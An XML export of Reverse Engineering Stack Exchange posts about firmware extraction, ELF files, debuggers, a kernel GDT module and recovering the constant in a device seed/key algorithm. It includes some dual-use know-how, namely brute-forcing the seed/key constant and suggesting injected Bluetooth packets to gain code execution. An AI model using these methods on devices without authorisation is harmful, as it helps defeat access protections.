  <row Id="23252" PostTypeId="2" ParentId="23222" CreationDate="2020-02-14T19:35:59.483" Score="1" Body="&lt;p&gt;There is a cpio archive in the lzma compressed section&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Layout of the dump.bin file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 - 00010000  bootloader, baseaddress = 0x9f000000&#xA;0000f120 - 0000f194 &quot;bootargs=flash_part=1 uboot_version=1.1.4-2&quot;, &quot;bootcmd=bootm 0x9F010000&quot;, &quot;bootdelay=0&quot;, &quot;baudrate=115200&quot;, &quot;loadaddr=0x80800000&quot;&#xA;0000f5c0 - 00010000   '0xff'&#xA;00010000 - 00010040  uImage header  ( the system partition )&#xA;00010040 - 0039e856   LZMA compressed data&#xA;0039e856 - 007f1000   '0xff'&#xA;007f1000 - 007f1440  The 'art' data partition&#xA;007f1440 - 007f9000   '0xff'&#xA;007f9000 - 007f9142   JSON: &#xA;007f9142 - 00800000   '0xff'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;extract the lzma section:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd bs=1 skip=$[0x00010040] count=$[0x38E816] if=dump.bin  | lzcat &amp;gt; dump-10040.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Layout of the lzma compressed data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000400 - 002D14CC   probably all linux kernel.&#xA;002D14CC - 00c2ced0   cpio archive&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;list the files in the cpio archive&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd bs=1 skip=$[0x2D14CC] if=dump-10040.bin | cpio -ivt &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found 104 files and 183 symlinks in the cpio section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;vitoconnect-ol&lt;/code&gt; binary handles the web interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;init&lt;/code&gt; scripts tells you everything it does when booting - not very much, basically: run the vitoconnect binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, if you are wondering why there are not that many tools: &lt;code&gt;busybox&lt;/code&gt; has all the standard unix commandline tools packaged in one binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the string &lt;code&gt;AR9331 bootldr&lt;/code&gt;,  i assume your device has a &lt;a href=&quot;https://openwrt.org/docs/techref/hardware/soc/soc.qualcomm.ar71xx#ar9331&quot; rel=&quot;nofollow noreferrer&quot;&gt;ar9331&lt;/a&gt;  chip, which has plenty of &lt;a href=&quot;https://openwrt.org/toh/tp-link/tl-wr703n/ar9331_pinout&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; available on openwrt, including the full datasheet.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;about flash partitions&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/dev/mdt1    system1&#xA;/dev/mdt2    system2&#xA;&#xA;/dev/mtd4    user config&#xA;/dev/mtd5    json config&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/dev/mtd1 and /dev/mtd2  both contain the system, alternating between upgrades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;quote from openwrt:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Requires a WiFi firmware called “ART” (Atheros Radio Test). It holds&#xA;  device specific wireless calibration data, thus using a generic or the&#xA;  wrong firmware causes FCC incompliance and poor wireless performance.&#xA;  Usually the firmware is stored in an ART partition located at the last&#xA;  64KiB of the flash. If the ART partition is missing or corrupt, ath9k&#xA;  (wireless driver) won't come up anymore.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2020-02-18T09:49:55.003" LastActivityDate="2020-02-18T09:49:55.003" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23254" PostTypeId="2" ParentId="23244" CreationDate="2020-02-14T22:55:09.607" Score="2" Body="&lt;p&gt;Without more information it's hard to tell for sure.  However, I'd make 2 observations -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It appears that your patch is trying to increase the upper bound of a loop from 10 to 16.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The function in which the access violation occurs appears to be a C++ class member function where the faulting instruction is trying to read a member variable. (esi here is loaded from ecx where ecx is the &lt;code&gt;this&lt;/code&gt; pointer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The combination makes me suspect that the increase in loop limit results in an out-of-bounds array access.  e.g. something like this -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;std::array&amp;lt;some_class*,10&amp;gt; widgets;         // or std::vector or C-array etc&#xA;&#xA;.. elsewhere ..&#xA;&#xA;for( size_t i = 0; i &amp;lt; 10; ++i ) {          // the patch changes 10 to 15&#xA;    widgets[i]-&amp;gt;faulting_function( ... );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To confirm this hypothesis and resolve it you are going to have work backwards from the faulting function to see where ecx comes from and then increase the size of the container.  If however, this is static and in the data section of the exefile then it might not be trivial to do so.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2020-02-14T23:59:18.290" LastActivityDate="2020-02-14T23:59:18.290" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23255" PostTypeId="1" CreationDate="2020-02-15T04:41:28.460" Score="0" ViewCount="1540" Body="&lt;p&gt;I am trying to track a certain value in a game to analyze the cause of a crash (basically, it goes to null at one point and I would like to know what exactly puts that to null as it causes issues later on). I am relatively a beginner in C# reversing as well as using DnSpy, but I couldn't find an exact way to do so leading me to believe either the feature isn't possible or if it is, I am unaware of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to be informed of where exactly it puts it to null with preferably a stacktrace. The best I was able to do was to breakpoint a bunch and hope for the best, but I quickly realised this is very inefficient and there has to be a better way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it isn't possible in DnSpy itself, can I use other tools to accomplish the same thing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps, it's a Unity game which I replaced its mono dll so the DnSpy debugger works, but it can only put breakpoints in the code, not break whenever something changes at all. I can see the value in the watcher, but that's not enough.&lt;/p&gt;&#xA;" OwnerUserId="31109" LastActivityDate="2020-02-15T04:41:28.460" Title="How can I have a breakpoint once a value changes in DnSpy?" Tags="|c#|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23256" PostTypeId="1" AcceptedAnswerId="23257" CreationDate="2020-02-15T06:20:09.700" Score="0" ViewCount="580" Body="&lt;p&gt;I am trying to reverse a seed/key algorithm that has a constant value inside it. and there is different const value for different device that use this algorithm.&#xA;i can give some sample from each device so i have seed/key of devices. &#xA;the algorithm is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int SeedKey_Algorithm(int seed){ // sample input: 0x01010101&#xA;for (int i = 0; i &amp;lt; 0x23; i++)&#xA;{&#xA;    if ((seed &amp;amp; 0x80000000) == 0x80000000)&#xA;    {&#xA;        seed = ( x ^ seed); // x is constant value&#xA;    }&#xA;    seed = seed &amp;lt;&amp;lt; 1;&#xA;}&#xA;return seed;&#xA;//out = 0xFFAA5550&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then if when inject the 0x01010101 as input we get 0xFFAA5550 as output. &#xA;so how i can find this constant value. &#xA;is there any mathematics algorithm for find it? &#xA;is it needed more sample for reverse this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;br&gt;&#xA;so i check another device that work with this algorithm and i find 12 true value for 0x01010101.&lt;br&gt;&#xA;&lt;code&gt;0x0d7c76ff,&#xA; 0x1049164d,&#xA; 0x37749eba,&#xA; 0x6071e476,&#xA; 0x6cced1e7,&#xA; 0x7657a4aa,&#xA; 0x8d7c76ff,&#xA; 0x9049164d,&#xA; 0xb7749eba,&#xA; 0xe071e476,&#xA; 0xecced1e7,&#xA; 0xf657a4aa&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but for 0x02020202 i can't find any right value :(&lt;br&gt;&#xA;is this possible? or I made a mistake?&lt;/p&gt;&#xA;" OwnerUserId="31110" LastEditorUserId="31110" LastEditDate="2020-02-16T10:58:05.320" LastActivityDate="2020-02-16T10:58:05.320" Title="Seed/Key Constant Value" Tags="|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23257" PostTypeId="2" ParentId="23256" CreationDate="2020-02-15T09:21:45.963" Score="0" Body="&lt;p&gt;The keyspace for x is only &lt;code&gt;2**32&lt;/code&gt;. This can be easily bruteforced. Also you can use something like &lt;a href=&quot;https://github.com/Z3Prover/z3&quot; rel=&quot;nofollow noreferrer&quot;&gt;z3&lt;/a&gt; a SAT solver to model the equations.&#xA;For your given pair these were the possible 16 values for x&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x153f11fa, 0x953f11fa&#xA;0x24c66e44, 0xa4c66e44&#xA;0x3bcc14c8, 0xbbcc14c8&#xA;0x3c2918cb, 0xbc2918cb&#xA;0x477bb478, 0xc77bb478&#xA;0x662a1eac, 0xe62a1eac&#xA;0x71539c35, 0xf1539c35&#xA;0x76a55966, 0xf6a55966&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With an additional keypair the candidates can be boiled down to 2 values&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxxxxxxxxx:::0x01010101:0x02020202:0x03030303:0x08010101&#xA;0x3bcc14c8:::0xffaa5550:0x88cc8330:0x7766d660:0x87a95f90&#xA;0xbbcc14c8:::0xffaa5550:0x88cc8330:0x7766d660:0x87a95f90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both of these can be used interchangeably as the 31st bit is inconclusive.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2020-02-15T11:08:46.923" LastActivityDate="2020-02-15T11:08:46.923" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="23258" PostTypeId="2" ParentId="21773" CreationDate="2020-02-15T09:37:11.337" Score="3" Body="&lt;p&gt;You can use jdb to attach to a running program without having compiled it with debug flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on my machine with jdb located at /usr/local/jdk/jdk1.8.0_202/bin/jdb&#xA;and pid of my running java process = 14476&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo /usr/local/jdk/jdk1.8.0_202/bin/jdb -connect sun.jvm.hotspot.jdi.SAPIDAttachingConnector:pid=14476&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However if you did not compile your program with debugging information it is going to make debugging much harder i think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see this &lt;a href=&quot;https://docs.oracle.com/javase/8/docs/technotes/guides/troubleshoot/tooldescr011.html#BABFHHEE&quot; rel=&quot;nofollow noreferrer&quot;&gt;reference&lt;/a&gt; for more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: i also found i can view variable values of a running process easily with jvisualvm wich is a tool that comes with oracles jdk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) start jvisualvm from the command line. It is located in your jdk bin folder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/local/jdk/jdk1.8.0_202/bin/jvisualvm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) on the right side of the screen you can see the running java processes on your machine. You can then perform a heap dump (right click on process) and view the values of the variables of the classes your interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2Vrf5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Vrf5.png&quot; alt=&quot;heapdump&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25234" LastEditorUserId="25234" LastEditDate="2020-02-15T11:12:26.070" LastActivityDate="2020-02-15T11:12:26.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23259" PostTypeId="2" ParentId="23243" CreationDate="2020-02-15T12:12:16.700" Score="1" Body="&lt;p&gt;I see the following possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;intercept Bluetooth communication and inject bogus packets to crash the CPU firmware and hopefully achieve code execution. This is very difficult to do blindly though since you have only this UART and no other means of observation what happens inside. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;there may be a strap pin that forces the chip to go into bootloader mode on startup which then may support commands for reading the flash or uploading code into RAM. Again, this is difficult without any documentation. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;there may be JTAG pins or another diagnostic UART. It’s quite unlikely IMO that the board has no diagnostic options at all  so try to trace where every pin of the CPU goes and see if you can discover a group of test pads. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-02-15T12:12:16.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23260" PostTypeId="1" CreationDate="2020-02-15T14:47:04.667" Score="1" ViewCount="266" Body="&lt;p&gt;For learning purposes I've created (using a hex editor and some macros) the following ELF file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hello.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;xxd hello.o:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............&#xA;00000010: 0100 3e00 0100 0000 0000 0000 0000 0000  ..&amp;gt;.............&#xA;00000020: 0000 0000 0000 0000 4000 0000 0000 0000  ........@.......&#xA;00000030: 0000 0000 4000 3800 0000 4000 0400 0300  ....@.8...@.....&#xA;00000040: 0c00 0000 0300 0000 2000 0000 0000 0000  ........ .......&#xA;00000050: 0000 0000 0000 0000 4001 0000 0000 0000  ........@.......&#xA;00000060: 0600 0000 0000 0000 0000 0000 0000 0000  ................&#xA;00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;00000080: 0600 0000 0100 0000 2200 0000 0000 0000  ........&quot;.......&#xA;00000090: 0000 0000 0000 0000 4601 0000 0000 0000  ........F.......&#xA;000000a0: 0e00 0000 0000 0000 0000 0000 0000 0000  ................&#xA;000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;000000c0: 1400 0000 0200 0000 2000 0000 0000 0000  ........ .......&#xA;000000d0: 0000 0000 0000 0000 5401 0000 0000 0000  ........T.......&#xA;000000e0: 1800 0000 0000 0000 0300 0000 0000 0000  ................&#xA;000000f0: 0000 0000 0000 0000 1800 0000 0000 0000  ................&#xA;00000100: 1c00 0000 0300 0000 2000 0000 0000 0000  ........ .......&#xA;00000110: 0000 0000 0000 0000 6c01 0000 0000 0000  ........l.......&#xA;00000120: 2600 0000 0000 0000 0000 0000 0000 0000  &amp;amp;...............&#xA;00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;00000140: 6865 6c6c 6f00 4865 6c6c 6f2c 2077 6f72  hello.Hello, wor&#xA;00000150: 6c64 2100 0000 0000 1100 0100 0000 0000  ld!.............&#xA;00000160: 0000 0000 0e00 0000 0000 0000 6865 6c6c  ............hell&#xA;00000170: 6f00 2e64 6174 6100 2e73 7472 7461 6200  o..data..strtab.&#xA;00000180: 2e73 796d 7461 6200 2e73 6873 7472 7461  .symtab..shstrta&#xA;00000190: 6200                                     b.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wish to link it together with a C program (main.c):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;extern char hello[];&#xA;&#xA;int main() {&#xA;    printf(&quot;%s\n&quot;, hello);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, running &lt;code&gt;gcc main.o hello.o&lt;/code&gt; shows an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/bin/ld: main.o: in function `main':&#xA;main.c:(.text+0x7): undefined reference to `hello'&#xA;collect2: error: ld returned 1 exit status&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;readelf -s hello.o:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Symbol table '.symtab' contains 1 entry:&#xA;   Num:    Value          Size Type    Bind   Vis      Ndx Name&#xA;     0: 0000000000000000    14 OBJECT  GLOBAL DEFAULT    1 hello&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(readelf output is similar to object files created by GCC)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why doesn't GCC accept my created object file?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="31114" LastEditorUserId="31114" LastEditDate="2020-02-15T16:07:00.050" LastActivityDate="2020-02-18T12:33:28.303" Title="GCC is not recognizing symbol table in my hand-made ELF file" Tags="|elf|symbols|gcc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23263" PostTypeId="2" ParentId="23239" CreationDate="2020-02-15T23:00:58.777" Score="1" Body="&lt;p&gt;Inspecting the bss with ghidra will surely allow you to understand who is referencing what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without symbols it could be hard to infer whether allegedly unused space within the segment is part of more complex structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason I suggest extending it via Ida or any PE editor.&#xA;once you have the space, you can use the cross-references previously inferred to compute the address to use. You have to mimick the pattern, just increasing the reference value with the difference between your newly allocated space (the first byte) and and the cross reference you choose (the first byte). &lt;/p&gt;&#xA;" OwnerUserId="27706" LastEditorUserId="27706" LastEditDate="2020-02-18T20:12:34.863" LastActivityDate="2020-02-18T20:12:34.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23264" PostTypeId="1" AcceptedAnswerId="23265" CreationDate="2020-02-15T23:01:11.860" Score="1" ViewCount="4876" Body="&lt;p&gt;On VirusTotal, there are lots of ELF samples are &lt;code&gt;missing section headers&lt;/code&gt; when using &lt;code&gt;file&lt;/code&gt; command to see the info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when using the Python &lt;code&gt;elftools&lt;/code&gt; library to parse them, exceptions will be thrown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can these kinds of ELF files still be executed or dangerous?&#xA;If so, what's the best way to parse them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;a href=&quot;https://www.virustotal.com/gui/file/7096d1deb8a097b25a74cb2b72009dc37430180b53725e1bec4d18be5856f139/detection&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.virustotal.com/gui/file/7096d1deb8a097b25a74cb2b72009dc37430180b53725e1bec4d18be5856f139/detection&lt;/a&gt;&#xA;(This is not a good example as it's a &quot;.so&quot; file.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Add the real output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;readelf -h:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00&#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, big endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           IBM S/390&#xA;  Version:                           0x1&#xA;  Entry point address:               0x403650&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          1090000 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         8&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         27&#xA;  Section header string table index: 26&#xA;readelf: Error: Reading 0x438 bytes extends past end of file for section headers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;readelf -l:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;readelf: Error: Reading 0x438 bytes extends past end of file for section headers&#xA;&#xA;Elf file type is EXEC (Executable file)&#xA;Entry point 0x403650&#xA;There are 8 program headers, starting at offset 52&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  PHDR           0x000034 0x00400034 0x00400034 0x00100 0x00100 R E 0x4&#xA;  INTERP         0x000134 0x00400134 0x00400134 0x0000d 0x0000d R   0x1&#xA;  [Requesting program interpreter: /lib/ld.so.1]&#xA;  LOAD           0x000000 0x00400000 0x00400000 0xd7c70 0xd7c70 R E 0x1000&#xA;  LOAD           0x0d7c70 0x004d8c70 0x004d8c70 0x2da34 0x3167c RW  0x1000&#xA;  DYNAMIC        0x1052a8 0x005062a8 0x005062a8 0x000e0 0x000e0 RW  0x4&#xA;  NOTE           0x000144 0x00400144 0x00400144 0x00020 0x00020 R   0x4&#xA;  GNU_EH_FRAME   0x0d7b7c 0x004d7b7c 0x004d7b7c 0x0002c 0x0002c R   0x4&#xA;  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28792" LastEditorUserId="28792" LastEditDate="2020-02-19T01:11:03.617" LastActivityDate="2020-02-19T01:11:03.617" Title="Can &quot;missing section headers&quot; ELF files still be executed/dangerous?" Tags="|elf|file-format|executable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23265" PostTypeId="2" ParentId="23264" CreationDate="2020-02-16T02:04:05.547" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Section information is not used at all when the kernel loads a program into memory to create its process image. In other words, execution in no way depends on section information. &lt;/li&gt;&#xA;&lt;li&gt;Stripping section information from a binary is not in and of itself necessarily an indicator of dangerous/criminal functionality, although it can serve to make analysis more difficult. &lt;/li&gt;&#xA;&lt;li&gt;According to VirusTotal, the example binary you linked to contains 29 sections, so I am not sure what that is supposed to be an example of. Perhaps one of the fields in the ELF header having to do with sections has been edited/corrupted to slow down automatic analysis, since section information cannot be displayed.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if the section header table is still present in the binary, the ELF header can be repaired so that this information is properly parsed. See &lt;a href=&quot;https://binaryresearch.github.io/2020/01/15/Analyzing-ELF-Binaries-with-Malformed-Headers-Part-3-Solving-A-Corrupted-Keygenme.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for an example&lt;/li&gt;&#xA;&lt;li&gt;run &lt;code&gt;readelf -h&lt;/code&gt; against the binary to see if the ELF header has been corrupted&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;A number of tools can parse such a binary, including radare2, Cutter, IDA, and Ghidra &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2020-02-16T02:04:05.547" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23266" PostTypeId="1" CreationDate="2020-02-16T07:17:30.517" Score="0" ViewCount="230" Body="&lt;p&gt;I am trying to reverse a Seed/Key algorithm. i have some sample and knowledge about it, for example i know this algorithm work with only &quot;xor&quot; and &quot;shift&quot; operations. &#xA;some sample shown in below:&#xA;&lt;code&gt;&#xA;     seed            key&#xA;  ---------       ----------&#xA; 0x01010101       0xDFBB4565&#xA; 0x02020202       0x21028781&#xA; 0x02010101       0xB1C7ED2B&#xA; 0x08010101       0xFB9718DE&#xA;&lt;/code&gt;&#xA;is this enough for reverse this algorithm?&#xA;according to the this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/23256/seed-key-constant-value/23257#23257&quot;&gt;Question&lt;/a&gt; i know this algorithm will be must like each other but i dont know what is difference between them.&#xA;how i can reverse this algorithm and how i can reverse anything like this? &lt;/p&gt;&#xA;" OwnerUserId="31110" LastActivityDate="2020-02-16T07:17:30.517" Title="Key Algorithm Reverse" Tags="|debugging|decryption|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23269" PostTypeId="1" CreationDate="2020-02-16T13:00:52.760" Score="1" ViewCount="123" Body="&lt;p&gt;How can I create a reference for an indirect branch instruction &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blx r0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that the call to the address stored in r0 shows up in the graph?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried flagging the target (function), but that does not get picked up automatically.&#xA;Do I need to re-start analysis for the function somehow (how?)?&lt;/p&gt;&#xA;" OwnerUserId="31024" LastActivityDate="2020-02-16T13:00:52.760" Title="Add indirect branch target reference manually (xref, crossreference) in Cutter (radare2)?" Tags="|radare2|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23270" PostTypeId="1" CreationDate="2020-02-16T13:25:32.630" Score="2" ViewCount="257" Body="&lt;p&gt;I have created a simple linux kernel module to get the base address of GDT table:&#xA;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;linux/init.h&amp;gt;&#xA;#include &amp;lt;linux/module.h&amp;gt;&#xA;#include &amp;lt;linux/const.h&amp;gt;&#xA;#include &amp;lt;linux/errno.h&amp;gt;&#xA;&#xA;// try changing segment selector to  null 3.4.2&#xA;// try swapg in 64 bit 3.4.4&#xA;&#xA;&#xA;static inline uint64_t get_gdt_base1(void)&#xA;{&#xA;    struct desc_ptr gdt;&#xA;    __asm__ __volatile__(&quot;sgdt %[gdt]&quot;&#xA;                 : /* output */ [gdt]&quot;=m&quot;(gdt));&#xA;    return gdt.address;&#xA;}&#xA;&#xA;&#xA;int __init start_init(void)&#xA;{&#xA;&#xA;    uint64_t gdt_base = get_gdt_base1();&#xA;    printk(KERN_INFO &quot;Address of gdt is %llx\n&quot;, (long long)gdt_base);&#xA;}&#xA;&#xA;static void __exit end_exit(void)&#xA;{&#xA;    printk(KERN_INFO &quot;Unloading the driver\n&quot;);&#xA;    return;&#xA;}&#xA;&#xA;module_init(start_init);&#xA;module_exit(end_exit);&#xA;&#xA;&#xA;MODULE_LICENSE(&quot;GPL V3&quot;);&#xA;MODULE_AUTHOR(&quot;Shubham Dubey&quot;);&#xA;MODULE_DESCRIPTION(&quot;CRO register &quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;When I have loaded and unloaded the module few times. The output that I am getting are as follows:&lt;br/&gt;&#xA;1st run: &lt;code&gt;Address of gdt is ffff88024f249000&lt;/code&gt;&lt;br/&gt;&#xA;2nd run: &lt;code&gt;Address of gdt is ffff88024f2c9000&lt;/code&gt;&lt;br/&gt;&#xA;3rd run: &lt;code&gt;Address of gdt is ffff88024f249000&lt;/code&gt;&lt;br/&gt;&#xA;4th run: &lt;code&gt;Address of gdt is ffff88024f2c9000&lt;/code&gt;&lt;br/&gt;&#xA;...&lt;br/&gt;&#xA;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, the GDT base should be constant. But I am receiving two different address which isn't the normal behavior. &#xA;Can anyone have a good explanation for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Running debian in 64 bit intel processor&lt;/p&gt;&#xA;" OwnerUserId="21932" LastActivityDate="2020-02-17T18:00:38.167" Title="Why base address of GDT(global descriptor table) differ in intel x64 processor?" Tags="|kernel-mode|segmentation|intel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
